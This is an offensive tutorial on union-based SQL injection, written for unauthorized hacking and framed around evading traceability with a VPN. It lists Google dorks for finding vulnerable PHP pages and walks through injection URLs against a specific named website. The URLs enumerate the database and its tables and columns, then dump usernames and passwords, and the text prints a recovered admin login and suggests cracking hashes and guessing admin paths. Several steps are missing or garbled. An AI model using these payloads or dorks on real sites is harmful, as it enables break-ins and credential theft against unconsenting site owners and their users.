SQL Injection by AntiGov
SQL Injection by AntiGov
Before we start:
SQL Injection Tutorial
What is an SQL Injection?
Before we start:
There are a few things I recommend you use, and install when performing SQLi Attacks. They are either vital, or extremely helpful when executing
your injection.
Beginning with the most important, I will explain what each item is for. VPN is, in short an application we will use to visually change our IP from
your external, to another. This gives you more protection when hacking, as it means any IP left by you is harder to trace (But not impossible). I
recommend using proXPN, just go to their website, make a free account, and you're good to go.
Secondly, Firefox. Firefox is not what i'm loving though. It's the addon, Hackbar. Just install the two, and you'll see what I mean. It will come in
handy later.
And finally, patience. There are quite a few steps in this, and it doesn't always work. Just keep working at it, and you'll get it.
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
Credit to the SQLi Dorks for parts of this list. The entire text file can be found at the end of the tutorial.
Go ahead and tap one into Google, and you'll get a multitude of sites. For my example, I will be using http://www. futuresfins.com/findetail.php?id=173 This site.
To test if a site has vulnerabilities, put an apostrophe after the URL, just after the numbers:
http://www. futuresfins.com/fin-detail.php?id=173
\/
http://www. futuresfins.com/fin-detail.php?id=173'
An error came up at 12, which means column 12 doesn't exist. That means, you guessed it, there are 11 columns on this database (Note, it varies for
every website you do, yours may not necessarily be 11). Make a note of the number of columns. And as a helpful hand, this is what the error may
look like:
You can take any of these numbers, but I recommend taking the first one you see for simplicities sake. Now, to put is basically, the number is the
number of the column we will be executing commands in from now on.
Checking the version number:
Although this is not always a rule (But it is for the most part), for the SQLi to work the MySQL Database version has to be above Version 5. To
check what version we're running on, it's very simple. Refer to the number you chose from the previous step. Take that number, and follow these
steps to the bone. I have chosen number 1, in case you were wondering.
In the URL, you have the numbers. The number you have chosen should be in that set of numbers. Now, what you have to do, is take the number
you chose and replace it with '@@version'. So, I chose the number '1' as it was the first that the 'union all select' command showed, so I replace it
with the version command.
http://www. futuresfins.com/fin-detail.php?id=-173 union all select @@version,2,3,4,5,6,7,8,9,10,11-After executing, a version number should appear where it previously had your number. Like this:
And that's it, we have the name of the database. Make a note of it in Notepad! We will need it again!
Displaying the database's tables:
Now we have the database name, we are good to move onto the next part: Displaying the tables. The tables are what's inside the database, and
contain all the data. To view them, we use a few commands. First, we add 'group' to 'concat(database())', and change 'database()' to 'table_name',
like so:
http://www. futuresfins.com/fin-detail.php?id=-173 union all select group_concat(table_name),2,3,4,5,6,7,8,9,10,11-We then need to add information, which will be black magic. All you need to know is, it needs to be there. It goes after the number sequence, and
should say 'from information_schema.tables where table_schema=database()--'. Like so:
http://www. futuresfins.com/fin-detail.php?id=-173 union all select group_concat(table_name),2,3,4,5,6,7,8,9,10,11 from
information_schema.tables where table_schema=database()-At this point, all of the tables will appear.
Now, you'll want to make a note of all of those table names, for later reference. It's very important you do so. A recommendation, put it in the same
text file as the database name, just two (or so) paragraphs under.
Entering the tables - Viewing their content:
Now, we have the database name, all of the main table names, and now we need to find the information from the correct table. The one we're
looking for is the one with worthwhile information. Usually, it will be called something like 'users, usernames, info, userinfo', etc. On this site, mine
is 'users'.
So, what you want to do is find that table. Now, we're going to have to type in a command to view it. But firstly, we need a hexadecimal (HEX)
converter. There are many, but here are my two favourites, but I recommend we use the top one:
The command is as follows. You change 'group_concat(table_name)' to 'group_concat(column_name)', and 'information_ schema.tables' to
'information_schema.columns'. We also change 'table_schema' to 'table_name'. On top of this, after the equals, we add in 0x and then the HEX
Number, which I am about to get onto.
We need to use TextToHex to convert the name of the table, with worthwhile information in (Mine was users), to a HEX value. To do this, just type
in the name of the table, and boom, done. We then add that value after the 0x. Confusing? Look below:
users = 7573657273 in HEX
http://www. futuresfins.com/fin-detail.php?id=-173 union all select group_concat(column_name),2,3,4,5,6,7,8,9,10,11 from
information_schema.columns where table_name=0x7573657273-Once again, this will give us more names of tables. However, these ones should be in a much smaller quantity. I was given four, and the two i'm
interested in is 'username' and 'password'. Your table names may not always be the same, it varies between each site. Sometimes, you may not have
the correct table and useless tables are given to you. You have to be persistent, and patient, and keep trying.
Now, we want to find out what is inside username, and password. What you need to do, is this:
http://www. futuresfins.com/fin-detail.php?id=-173 union all select group_concat(contentName),2,3,4,5,6,7,8,9,10,11 from
databaseName.mainTable-So, firstly you need to fill in the red with your own data. So, mine would change to:
http://www. futuresfins.com/fin-detail.php?id=-173 union all select group_concat(username),2,3,4,5,6,7,8,9,10,11 from Future_future2.users-By executing this, you would be given the data inside 'username'.
http://www. futuresfins.com/fin-detail.php?id=-173 union all select group_concat(password),2,3,4,5,6,7,8,9,10,11 from Future_future2.users-And then the data inside 'password'. I now have the Admin Login, and am nearly done. Hopefully, so are you!
Username: admin
Password: foilcore
Sometimes, the password/username is crypted, usually with a type of Hash Cyptography. You then need to find a Hash Decrypter, I recommend
http://www. md5decrypter.com/MD5Decrypter.com, and decrypt!
/admin
/admin.php
/login
/login.php
The list goes on for millions, just use trial and error.
Unfortunately, my site has a protection on the admin http://www. futuresfins.com/admin login. I cannot bypass this (I don't think), so cannot access
the Admin Panel.
If you are having difficulty finding the page, there are a multitude of Python scripts, and more which can be used to find the page. I recommend
using them, as they're sometimes faster, and easier.
Thank you!
Thank you for reading this tutorial, I hope I helped! If you have any problems, which appear to be with my tutorial, please let me know and I will
fix them ASAP. Also, if you need a hand with anything i'm always here to help.
Resources:
SQLi Dorks Text File - [link] (This is adf.ly'd, by the original owners. I am getting no profit from this link)